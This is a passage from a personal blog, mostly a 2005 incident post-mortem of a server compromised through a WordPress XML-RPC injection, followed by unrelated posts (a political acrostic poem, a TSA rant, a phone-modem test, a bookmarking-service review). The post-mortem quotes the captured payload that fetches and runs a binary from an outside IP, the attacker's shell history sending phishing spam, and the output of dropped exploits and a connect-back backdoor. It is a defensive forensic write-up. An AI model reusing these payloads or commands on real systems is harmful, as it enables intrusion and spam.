These are being filtered by mod_security now, which makes it interesting to post:

HTTP/1.1 403 Forbidden
Content-Length: 212
Content-Type: text/html; charset=iso-8859-1
========================================
Request: 24.16.48.220 – – [19/Dec/2005:05:52:37 –0800] “POST /blog/xmlrpc.php HTTP/1.1” 403 221
Handler: (null)
—————————————-
POST /blog/xmlrpc.php HTTP/1.1
Host: 216.66.19.135
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)
Content-Type: text/xml
Content-Length: 269
mod_security-message: Access denied with code 403. Pattern match “!(^$|^application/x-www-form-urlencoded$|^multipart/form-data)” at HEADER
mod_security-action: 403

269
<?xml version=”1.0″?><methodCall><methodName>test.method</methodName><params><param><value><name>’,”));echo ‘_begin_’;echo `cd /tmp;wget 65.218.1.216/nikons;chmod +x nikons;./nikons `;echo ‘_end_’;exit;/*</name></value></param></params></methodCall>

I was in Starbucks earlier this evening (yesterday) catching up on some things before flying back up north when Gabe IM’d me that Apache was down. The machine was pinging (a bit slow, but it could have been my connection). No worries, log in and kick httpd…

When I logged in, load was high, which was a bit odd since Apache was down, but not unheard of… but top was showing that Postfix was the program chewing up my resources. There error I got restarting Apache gave me a sinking feeling:

Apache2(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80

Now, there are perfectly plausible explanations for this type of error. This, however, is not one that you want:

snowball lhl # netstat -lnp | grep '0.0.0.0:80'
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     13715/r0nin  

This was my first time any server I’ve run has been compromised, and it’s a bit embarrassing that it happened via remote file inclusion, but I suppose RFI is to traditional exploits how e-mail viruses were to the prior breed. It appears that my experience isn’t unique. I found serveral writes ups while I was doing forensic analysis (which I’ll outline my process and rationale for any other poor souls so afflicted):

• Rodney Fletcher’s Blog: Hacked – the first blog I found describing his extremely similar situation
• A Play on Words: Hacked
• ACM@UIUC Wiki: CAN-2005-1921 Drupal
• overflow: Another day in the jungle – long and rambly
• linsec.ca Blog: Oh to be hax0red – the most comprehensive analysis. Still, I have some interesting tidbits.

I’m going to try to get some sleep, so I’ll skip the narrative, and save some of the post-mortem / next steps for another time.

• First I killed Postfix. I didn’t do an exact count, but I’m guestimating that there was somewhere between 300K to 0.5M mails in the queue. I saved a couple but that actually turned out to not be necessary.
• I found r0nin pretty quickly in /tmp along with some other files:
  brk, brk2, brk2.1, brk2.2, brk2.3, brk2.4, dc, dc.1, dc.2, dc.txt, kmod, kmod2, ptrace24, pwned, r0nin, r0nin.1, uselib24, uselib24.1, uselib24.2, uselib24.3, uselib24.4, w00t, w00t.1 — these are a mix of different versions, but also some duplicates. I chmod 000’d these and moved them to a forensics area.
• I should probably mention that before doing those things, I did some sanity checks by checking my apt/sources.list and forcing fresh copies of chkrootkit and rkhunter, and basic utilities like netstat, who, ps, last etc to be reasonably sure (along w/ the nature of the compromise) that there wasn’t a live person at the other end. I also combed through the user files to look for anything unusual, but thankfully that seemed fine as well.
• Next I killed just about everything and threw up ultra-paranoid iptables rules (everything off, SSH only from the IP I was sitting on and another safe entry point)
• Grepping through my logs, these were the first things that popped out:

  error.log.1:--16:01:20--  http://www.full-comandos.com/sougay/r0nin
  error.log.1:           => `r0nin'
  error.log.1:16:01:20 (190.09 KB/s) - `r0nin' saved [19258/19258]
  error.log.1:--19:59:35--  http://www.full-comandos.com/sougay/r0nin
  error.log.1:           => `r0nin.1'
  error.log.1:19:59:35 (191.14 KB/s) - `r0nin.1' saved [19258/19258]

  error.log.1:--16:01:20--  http://www.full-comandos.com/sougay/r0nin
  error.log.1:           => `r0nin'
  error.log.1:16:01:20 (190.09 KB/s) - `r0nin' saved [19258/19258]
  error.log.1:--19:59:35--  http://www.full-comandos.com/sougay/r0nin
  error.log.1:           => `r0nin.1'
  error.log.1:19:59:35 (191.14 KB/s) - `r0nin.1' saved [19258/19258]

  These corresponded to the second here:

  avantbard.com-access.log:201.29.25.2 - - [16/Dec/2005:16:01:20 -0800] "POST /corral//xmlrpc.php HTTP/1.1" 200 65 "-" "-"
  avantbard.com-access.log:201.29.25.2 - - [16/Dec/2005:19:59:35 -0800] "POST /corral//xmlrpc.php HTTP/1.1" 200 13 "-" "-"
  

  Gabe was running a WordPress is not secure version of WP (1.2) here. Because of the ways logs were rotated / split up, and since I was looking for a GET query string, not a POST, it took me a while to match up the exact attack vector, which was one of the reasons that the site was down for a few hours (I just didn’t feel comfortable putting stuff back up willy nilly)

• One of the things I decided to install before opening any of the iptables back up was mod_security. I’m now running mod_security with most of this how-to’s options and the Snort ruleset. It’s rather draconian at the moment, but that’s probably a better place to work from
• Back to the spamming, there was a .bash_history in /var/tmp that showed what was actually done once the shell was exploitable. (This was only possible because my iptables weren’t properly loaded after reboots – now fixed)

  uname -a
  mkdir
  mkdir .teste
  mkdir .teste
  curl 
  curl -O www.canaldiboa.ubbi.com.br/enviar.pl
  mkdir .teste
  cd .teste
  pwd
  cd /tmp
  tmp
  /tmp
  mount tmp
  cd temp
  ls
  ls
  /temp
  ls
  cd /tmp
  ls
  cd .teste
  ls
  ls
  cd /tmp
  ls
  cd .teste
  ls
  mkdir .teste
  ls
  cd .teste
  ls
  wget www.canaldiboa.ubbi.com.br/enviar.pl
  wget www.receita-fazenda.com/lista.txt
  wget www.receita-fazenda.com/corpo.html
  sed -e 's/@acessototal.com.br/@ufba.br/g' lista.txt > lista2.txt
  perl enviar.pl lista2.txt Receita@receita.gov.br "URGENTE: Verifique seu CPF" corpo.html

  I ran a Sam Spade lookup on receita-fazenda.com and there are some interesting things here. The listed contact, Wayne Tanski, has caught the eye of another blogger, and there’s a site, http://dsoulzin.net/dsoul/ which has several perl/php scripts, no doubt for RFI. Wayne’s address is different from the one Sam Spade lists, but the connection of the dsoulzin domain name and the dsoulzin@hotmail.com mail address listed with the registrar is pretty telling. In anycase, the enviar.pl is the script that did the actual mail queue injection, which now is adequate to explain everything.

• But… not good enough for me. Despite what chkrootkit and rkhunter said, I had to make sure the binaries that were put in tmp (and obviously run) hadn’t rooted the box… I’m running a Debian kernel (2.4.27-2 + patches) and while something like ptrace should definitely not work, something like uselib had me a bit worried. So, having blocked the IPs that they’d most likely be contacting if there were to do so, and knowing they’d probably been run already I su’d to www-data and ran them all…

  snowball test $ ./brk2
  [-] Unable to determine kernel address: Operation not supported
  snowball test $ ./brk2.1
  [-] Unable to determine kernel address: Operation not supported
  snowball test $ ./brk2.2
  [-] Unable to determine kernel address: Operation not supported
  snowball test $ ./brk2.3
  [-] Unable to determine kernel address: Operation not supported
  snowball test $ ./brk2.4
  [-] Unable to determine kernel address: Operation not supported
  snowball test $ ./kmod
  [-] Unable to attach: Operation not permitted
  Killed
  snowball test $ ./kmod2
  [-] Unable to attach: Operation not permitted
  Killed
  snowball test $ ./ptrace24 
  attached
  Password: 
  snowball test $ whoami
  www-data
  snowball test $ ./pwned 
  COMPILED AND HOSTED BY ALBANIA SECURITY CLAN
  irc.gigachat.net -j #ASC
  linux kernel msync race condition
  bug discovered by sd, 
  further research by sd and *****
  this is development-in-progress code,
  redistribution prohibited!
  =============================================
  Segmentation fault
  snowball test $ ./r0nin 
  PsychoPhobia Backdoor is starting...OK, pid = 9581
  snowball test $ ./dc randomfoo.net 1666
  Data Cha0s Connect Back Backdoor
  
  [*] Dumping Arguments
  [*] Resolving Host Name
  [*] Connecting...
  [*] Spawning Shell
  [*] Detached
  
  www-data  9583  0.0  0.0  1444  368 ?        S    03:08   0:00 ./r0nin
  www-data  9584  0.0  0.1  2748 1116 pts/10   S    03:08   0:00 shell
  www-data  9585  0.0  0.1  2528 1312 ttyp0    Ss+  03:08   0:00 sh -i
  
  snowball test $ ./uselib24
  
  [+] SLAB cleanup
      child 1 VMAs 81
  [+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
  [+] vmalloc area 0xc0400000 - 0xc043742f
      Wait... \--> prepare_slab(), 255Mb
  
  [-] FAILED: try again 
  Killed
  
  
  [+] SLAB cleanup
      child 1 VMAs 65509
  [+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
  [+] vmalloc area 0xc0400000 - 0xc043742f
      Wait... \--> prepare_slab(), 255Mb
  
  [-] FAILED: try again 
  Killed
  
  snowball test $ ./w00t
  [-] Unable to determine kernel address: Operation not supported
  

  The good news is that except for r0nin, it looks like these were all busts. And now, with mod_security and working iptable rules, this shouldn’t be able to happen again.

Right now I’ve only re-enabled randomfoo since beyond the mod_security, it’s code I’ve written that I know isn’t susceptible to any of this crap. I’ve spent a good 8 hours at this point on the cleanup and writeup, but on the bright side, this was a fairly benign attack and I’ve gotten around to doing a whole bunch of stuff I’ve been putting off. More on that after I get some sleep and after the, you know, day job.

Be sure to check out the BBC article after you’ve spotted this.

Patient and steady with all he must bear,
Ready to meet every challenge with care,
Easy in manner, yet solid as steel,
Strong in his faith, refreshingly real.
Isn’t afraid to propose what is bold,
Doesn’t conform to the usual mould,
Eyes that have foresight, for hindsight won’t do,
Never backs down when he sees what is true,
Tells it all straight, and means it all too.
Going forward and knowing he’s right,
Even when doubted for why he would fight,
Over and over he makes his case clear,
Reaching to touch the ones who won’t hear.
Growing in strength he won’t be unnerved,
Ever assuring he’ll stand by his word.
Wanting the world to join his firm stand,
Bracing for war, but praying for peace,
Using his power so evil will cease,
So much a leader and worthy of trust,
Here stands a man who will do what he must.

Doing a few searches for old posts reminded me that I used to occassionally have interesting things to say. A couple few years ago, I had talked about creating a random-post function for the that could also be a good way to bring up a post for categoration, tagging, updating, annotating… This is still a good idea. If I’m as busy as I’ve been, this might sit here for a while reminding me of things I could be doing on the blog.

On a private online community somone posted a picture of his going-on 91 year old grandmother, who recently flew to visit her sister and her friends. She is hard of hearing, and didn’t hear the instructions of whatever she was supposed to be doing passing through the metal detectors. She was immediately manhandled by a TSA flunky, sent to the ground, hitting her head and face on a metal chair, with additional bruising across her chest and up and down both legs. The picture taken was 2-weeks after the incident and it looks bad. Apparently, she didn’t even tell anyone what happened because she was embarassed and “did not want to be a bother.”

I’m embarassed as well. Appalled, and filled with apoleptic rage are two other emotional states that crossed my mind as I was reading this. We’ve given a lot up for this type of security theater in our Airports. When I fly out most airports, I think about the dystopic nation that we are today, the antithesis of the vision of our founding fathers… I don’t have anything really insightful to say about this. Just that when you think you’ve found some level of acceptance, or limits (this can’t get any more ridiculous, any more wrong…), well, human stupidity never ceases to rise to the challenge.

This TSA flunky came close to killing this person (a 90yo little old lady). What was the motivation, the though process here? Was she really a security risk or was this some sort of authoritarian reaction (“how dare you defy me, I will take you down”). Obviously it wasn’t the former, but I ask how these people can sleep at night? And whether they’ve lost sight of the intent of these procedures, or that they’ve never cared in the first place?

What you feel is more of a threat: terrorists or a government that tramples over and completely disregards the founding principles of our nation, and enforces ineffective policies with mindless, out of control, oppressive bullies? I think you know where I stand.

I tried out my new PPC-6700 as a BT modem w/ my Powerbook on the Caltrin in and was pleasantly surprised by the speed of the new Sprint’s 3G EVDO network and (more impressively), the latency:

PING www.usc.edu (128.125.253.146): 56 data bytes
64 bytes from 128.125.253.146: icmp_seq=0 ttl=231 time=790.626 ms
64 bytes from 128.125.253.146: icmp_seq=1 ttl=231 time=276.552 ms
64 bytes from 128.125.253.146: icmp_seq=2 ttl=231 time=272.030 ms
64 bytes from 128.125.253.146: icmp_seq=3 ttl=231 time=268.766 ms
^C
--- www.usc.edu ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 268.766/401.993/790.626/224.394 ms

That’s 2-3x better than the ping I got on Sprint’s Rx1TT network with my old Treo 600.

Also, a couple days ago I switched the linklog feed from del.icio.us to My Web 2.0. I admit that I checked it out in the interest of dogfood, but I was amazed to discover that myweb completely kicks delicious’s ass. Beyond having decent performance, it also: caches pages, doesn’t cut off my long rambling descriptions (but still doesn’t allow any HTML), and has a great tag filter-stacking UI, and has privacy options (I’ve waited so long for delicious to support that). The delicious import worked flawlessly (tags, dates, everything), and I can now easily search through these, and the fact that these show up in my general search results is sometimes even getting me to switch off of Google. Sometimes. 🙂

Hooray Caterina and the My Web team for building something I’m actually excited to use!

Of course I have an improvements hitlist, the big ones for me: support for via (relationships/sourcing) and comments/annotation, both of which lead back to pre-web hypertext systems, I guess. Worse gets there eventually, which is better than never.

Between the general craziness of the move up here and the simultaneous casualty of my laptop, and an incredibly busy time at the new j-o-b, things have been incredibly quiet around here. I’m planning on trying to get settled into a normal schedule soon, as my current one isn’t really sustainable. It’s a bit on the early to burn out, even if it’s from over-excitement.

I’ve started my sublet in SOMA, but I fear that the commute may be too much for me. About half of it I can be productive during (baby-bullet on the Caltrain is about 45m), but still, it’s a real shock to the system to be commuting for so much time and on that sort of schedule (I lived close to work in LA, so most of my traffic time was discretionary).

The idea is if I do stuff in the city it’ll be worth it, but this week has mostly been taking forever and a day to get home and falling asleep dead tired.